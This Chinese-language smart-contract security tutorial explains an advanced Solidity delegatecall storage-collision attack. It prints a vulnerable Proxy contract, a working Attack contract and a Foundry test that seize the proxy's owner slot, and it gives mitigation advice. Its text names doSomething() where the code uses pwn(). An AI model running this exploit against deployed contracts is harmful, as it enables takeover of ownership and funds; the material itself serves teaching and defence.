做網(wǎng)站是個什么行業(yè)安卓優(yōu)化清理大師
名稱:
Delegatecall漏洞2
https://github.com/XuHugo/solidityproject/tree/master/vulnerable-defi
描述:
我們已經(jīng)了解了delegatecall 一個基礎(chǔ)的漏洞——所有者操縱漏洞,這里就不再重復(fù)之前的基礎(chǔ)知識了,不了解或者遺忘的可以再看看上一篇文章;這篇文章的目的是加深一下大家對 delegatecall 的印象并帶大家一起去玩點刺激的,拿下一個進階版的漏洞合約。
這次的攻擊目標依然是獲得 Proxy 合約中的 owner 權(quán)限,我們可以看到兩個合約中除了 Proxy合約中的構(gòu)造函數(shù)可以修改合約的 owner 其他地方并沒有修改 owner 的函數(shù)。我們要如何完成攻擊呢?這里需要一點小技巧,大家可以思考一下。
過程:
1、alice分別部署 Delegate、Attack和Proxy合約;
2、攻擊者 bob調(diào)用 Attack的attack函數(shù),成功將 Proxy合約中的 owner 改成attack的地址。
分析:? ? ? ??
Attack.attack() 函數(shù)先將自己的地址轉(zhuǎn)換為 uint256 類型。
然后調(diào)用 Proxy.pwn() 函數(shù),相當于調(diào)用Delegate.pwn()函數(shù),pwn()函數(shù)會根據(jù)入?yún)⑿薷淖兞縩um(slot 0),由于是delegatecall,所以Proxy合約也是修改slot 0——變量delegate,那么attack函數(shù)的參數(shù)就會寫入Proxy的slot0了,這樣我們就相當于把delegate地址改為了Attack合約地址;
然后我們再次調(diào)用Proxy.pwn() 函數(shù),現(xiàn)在相當于是調(diào)用Attack.pwn()函數(shù),此時我們再來觀察 Attack 合約的寫法,發(fā)現(xiàn)其變量的存儲位置故意和 Proxy合約保持一致,并且不難發(fā)現(xiàn) Attack.pwn() 函數(shù)的內(nèi)容也被攻擊者寫為 owner = msg.sender,這個操作修改了合約中存儲位置為 slot1 的變量。所以 Proxy合約使用 delegatecall 調(diào)用 Attack.doSomething() 函數(shù)就會將合約中存儲位置為 slot1 的變量 owner 修改為 msg.sender 也就是 bob的地址,至此攻擊者完成了他的攻擊。
解決方法:
在使用 delegatecall 時應(yīng)注意被調(diào)用合約的地址不能是可控的;
在較為復(fù)雜的合約環(huán)境下需要注意變量的聲明順序以及存儲位置。因為使用 delegatecall 進行外部調(diào)時會根據(jù)被調(diào)用合約的數(shù)據(jù)結(jié)構(gòu)來用修改本合約相應(yīng) slot 中存儲的數(shù)據(jù),在數(shù)據(jù)結(jié)構(gòu)發(fā)生變化時這可能會造成非預(yù)期的變量覆蓋。
proxy合約:
contract Proxy {Delegate delegate;address public owner;uint public num;constructor(address _delegateAddress) public {delegate = Delegate(_delegateAddress);owner = msg.sender;}fallback() external {(bool suc, ) = address(delegate).delegatecall(msg.data); // vulnerablerequire(suc, "Delegatecall failed");}
}
Attack 代碼:
contract Attack {Delegate delegate;address public owner;uint public num;Proxy public proxy;constructor(address _proxy) public {proxy = Proxy(_proxy);}function attack() external {address(proxy).call(abi.encodeWithSignature("pwn(uint256)",uint(uint160(address(this)))));//address(proxy).call(abi.encodeWithSignature("pwn(uint256)", 1));}function pwn(uint _num) public {owner = msg.sender;}
}
foundry測試代碼:
contract ContractTest is Test {Proxy proxy;Delegate DelegateContract;Attack attack;address alice;address bob;function setUp() public {alice = vm.addr(1);bob = vm.addr(2);}function testDelegatecall() public {DelegateContract = new Delegate(); // logic contractvm.prank(alice);proxy = new Proxy(address(DelegateContract)); // proxy contractattack = new Attack(address(proxy)); // attack contractconsole.log("Alice address", alice);console.log("Proxy owner", proxy.owner());// Delegatecall allows a smart contract to dynamically load code from a different address at runtime.console.log("Change DelegationContract owner to bob...");attack.attack();vm.prank(bob);address(proxy).call(abi.encodeWithSignature("pwn(uint256)", 1));console.log("Proxy owner", proxy.owner());console.log("Exploit completed, proxy contract storage has been manipulated");}
}